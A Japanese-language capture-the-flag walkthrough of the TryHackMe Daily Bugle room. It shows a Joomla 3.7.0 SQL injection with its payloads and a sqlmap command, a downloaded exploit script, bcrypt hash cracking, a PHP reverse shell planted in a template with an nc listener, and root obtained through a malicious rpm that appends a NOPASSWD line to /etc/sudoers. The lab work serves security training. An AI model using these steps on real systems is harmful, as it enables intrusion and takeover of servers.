12th LAB

👩🏿‍💻TryHackMeの

今回はTryHackMeのDaily Bugleを攻略していきます。

スキャニング

まずはnmapでスキャニングから。

$ nmap -sC -sV -A 10.10.145.183

image block

SSH、HTTP、DBのポートが空いています。

Webアプリケーションの調査

HTTPが空いているのでブラウザからWebアプリケーションを確認してみます。

image block

特に有効な情報はありませんでした。

今度は gobuster でWebサイトのページやディレクトリを調査してみます。

$ gobuster -u http://10.10.145.183/ -w /usr/share/wordlists/dirb/common.txt dir

image block

いくつかのページやディレクトリが見つかりました。

気になるところを調査していきます。

/administrator/をブラウザで確認してみます。

認証画面が出ました。また Joolma というCMSを使っていることもわかりました。

image block

ソフトウェアバージョンの調査

ソフトウェア名がわかったので、今度はバージョンを調査していきます。

ブラウザ上の画面、ソースコードともに確認してみましたが、バージョン情報は見つかりませんでした。

ぐぐってみると、簡単にJoomlaのバージョンを確認する方法が見つかりました。

image block

/language/en-GB/en-GB.xml を使った方法で確認してみます。

ブラウザから下記URLにアクセスします。

http://10.10.76.176/language/en-GB/en-GB.xml
image block

<version>3.7.0</version> とバージョンが見つかりました!

脆弱性と認証情報の調査

これで Joomla というソフトウェア名でバージョンが 3.7.0 ということがわかりました。よって脆弱性を探してみます。まずは Metasploit を使ってみます。

$ msfconsole

searchコマンドで検索してみます。
そうすると1つだけエクスプロイトが見つかりました。

msf6 > search Joomla 3.7.0

image block

エクスプロイトを選択して、Module option を確認します。

image block

ターゲットホスト(RHOSTS)を設定して、攻撃開始します。

set RHOSTS 10.10.76.176
run

image block

Errorが出て、うまくいきませんでした。
別の方法を探ってみます。

searchsploit と同様に検索してみます。

$ searchsploit Joomla 3.7

image block

いくつかヒットしましたね。バージョンが 3.7.0 となっている php/webapps/42033.txt を見ていくことにします。ファイルをダウンロードします。

$ searchsploit -m php/webapps/42033.txt

image block

ファイルの中身を確認。

$ cat 42033.txt                                                                                                                                
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

SQLmapのサンプルがあります。これを使ってみます。

Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

SQLmapを実行します。

$ sqlmap -u "http://10.10.76.176/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image block

実行してみましたが10分以上経過しても終わりません。TryHackmeを確認すると、Pythonスクリプトについて書かれています。

JoomlaのPythonスクリプトをググってみます。

そうするとエクスプロイトで joomblah.py が見つかりました。

これを使ってみることにします。

スクリプトをダウンロードして実行するだけです。

$ wget https://raw.githubusercontent.com/stefanlucas/Exploit-Joomla/master/joomblah.py
$ python joomblah.py http://10.10.76.176/

image block

ユーザ名、メールアドレス、パスワードハッシュが見つかりました。

項目名
ユーザ名 jonah
メールアドレス jonah@tryhackme.com
PWSハッシュ $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

パスワードハッシュの解読を目指していきます。そのためにアルゴリズムが何かを確認します。

$ hash-identifier

image block

アルゴリズムが見つかりませんでした。仕方がないので、このままJohn The Ripperで解読していきます。

$ john --wordlist=/usr/share/wordlists/rockyou.txt daily.hash

image block

アルゴリズムが bcrypt だということがわかりました。一度、キャンセルしてアルゴリズムを指定して再度実行してみます。(このまま解析してもよいです。)

—format=bcrypt オプションを付けて再度実行です。

image block

結果が出るまでにおよそ13分かかりましたが、パスワードハッシュが解読できました。

PHPリバースシェルでの侵入

ユーザ名とパスワードがわかったのでこれを Joomla の管理画面で試してみます。

ログインできました。いくつかのページを確認すると、この管理画面からコンテンツを作成することができそうです。リバースシェルのコードを使用して、リバースシェルでの侵入を狙っていきます。

Extensions → Templates → Templates に移動します。

image block

現在使用しているテーマをクリックします。

image block

index.php をクリックするとファイルの内容が右側に表示されます。

image block

PHPのリバースシェルコードを index.php の先頭に貼り付けます。

PHPのリバースシェルコードはなんでもよいですが、私はこれをよく使用しています。

貼り付けた後、環境に合わせて IPアドレスとポート番号を変更します。

IPは ip a コマンドで確認できます。

image block

ターミナルで待ち受けポートを作成します。

$ nc -lvnp 1234

これでリバースシェルの準備が整いました。

ブラウザで Joomlaの管理画面トップにアクセスします。

http://xx.xx.xx.xx/administrator/index.php

上手くいくと待ち受けポートでシェルが起動して侵入できます。

image block

操作しやすいように少し設定をします。

  1. python -c 'import pty; pty.spawn("/bin/bash")' を実行
  2. CTRL + zで現在のプロセスをバックグラウンドへ
  3. stty raw -echo を実行
  4. fg + Enter でバックグラウンドに移動したプロセスをフォアグラウンドへ
  5. export TERM=XTERM を実行

image block

各コマンドの解説

  1. import pty:ptyモジュールをインポートします。ptyモジュールは、Pseudo TTYを操作するための関数を提供します。
  2. pty.spawn("/bin/bash"):/bin/bashシェルを実行します。これにより、新しいシェルセッションが開始されます。
  3. CTRL+Z:現在のプロセスをバックグラウンドに移動します。
  4. stty raw -echo:シェルの入力と出力を制御するためのコマンドです。stty rawは、入力を行ごとにバッファリングせずに直接送信するようにします。stty -echoは、入力された文字を表示しないようにします。
  5. fg + ENTER:バックグラウンドに移動したプロセスをフォアグラウンドに戻します。
  6. export TERM=XTERM:環境変数TERMにXTERMを設定します。これにより、シェルがXTERM互換のターミナルエミュレータとして動作するようになります。

yumとsudoを使った権限昇格

侵入できたので権限昇格のための情報収集をします。

sudo は使えそうにありません。

image block

crontab も確認したましたが、何も設定はありません。

image block

jjamesonというユーザがあり、パスワードがわかればスイッチできそうです。

image block

ドキュメントルートである /var/www/html/ へ移動し、Joomlaの設定ファイルを見ています。

そうすると $password = 'nv5uz9r3ZEDzVjNu'; が見つかりました。

image block

パスワードを使いまわしている可能性があるため、jjamesonにスイッチするときのパスワードとして使ってみます。

$ su jjameson
image block

そうするとjjamesonユーザにスイッチすることができました。

また sudo -l を確認していきます。

image block

そうするとyumコマンドが使えることがありました。

GTFOBinsで yumを検索します。

そうすると下記のエクスプロイトが見つかります。

image block

これは攻撃コードを含んだrpmパッケージを作成して、インストールすることで攻撃コードを実行させるという手法です。

fpmとrpmbuildが必要なため、そのための環境構築ができてない場合はこちらを参考に環境を作って下さい。

ターミナルで別タブを開いて、まずは攻撃コードとなるシェルスクリプトを作成します。

今回はjjamesonユーザでsudoですべてのコマンドを使えるようにします。

$ echo 'echo "jjameson ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh

rpmパッケージを作成します。

$ fpm -n x -s dir -t rpm -a all --before-install sudo.sh .

image block

作成したrpmパッケージを攻撃対象マシンからダウンロードできるように簡易的なWebサーバを起動します。

$ sudo python3 -m http.server 80

侵入済みのターミナルに戻って作成したrpmパッケージを攻撃対象マシンにダウンロードします。

image block

ダウンロードしたrpmパッケージをインストールします。

インストールすることで作成したシェルスクリプト(sudo.sh)が実行されます。

image block

上手くいくとsudo su コマンドを実行することでroot権限がとれます。

image block